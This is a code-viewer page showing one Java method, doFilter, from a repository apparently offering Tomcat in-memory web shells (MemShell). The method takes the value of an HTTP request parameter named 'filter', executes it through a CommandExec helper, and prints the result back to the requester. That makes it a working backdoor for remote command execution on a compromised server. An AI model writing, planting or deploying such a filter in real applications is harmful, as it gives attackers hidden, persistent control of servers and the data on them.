MCPcopy Create free account
hub / github.com/ax1sX/MemShell / doFilter

Method doFilter

TomcatMemShell/src/main/java/com/axisx/MyFilter.java:20–34  ·  view source on GitHub ↗
(ServletRequest request, ServletResponse response, FilterChain chain)

Source from the content-addressed store, hash-verified

18 }
19
20 @Override
21 public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
22 HttpServletRequest req = (HttpServletRequest)request;
23 HttpServletResponse resp = null;
24
25 try {
26 resp = this.getResponseFromRequest(req);
27 String cmd = req.getParameter("filter");
28 String result = this.CommandExec(cmd);
29 resp.getWriter().println(result);
30 } catch (Exception var8) {
31 var8.printStackTrace();
32 }
33
34 }
35
36 @Override
37 public void destroy() {

Callers

nothing calls this directly

Calls 2

CommandExecMethod · 0.95

Tested by

no test coverage detected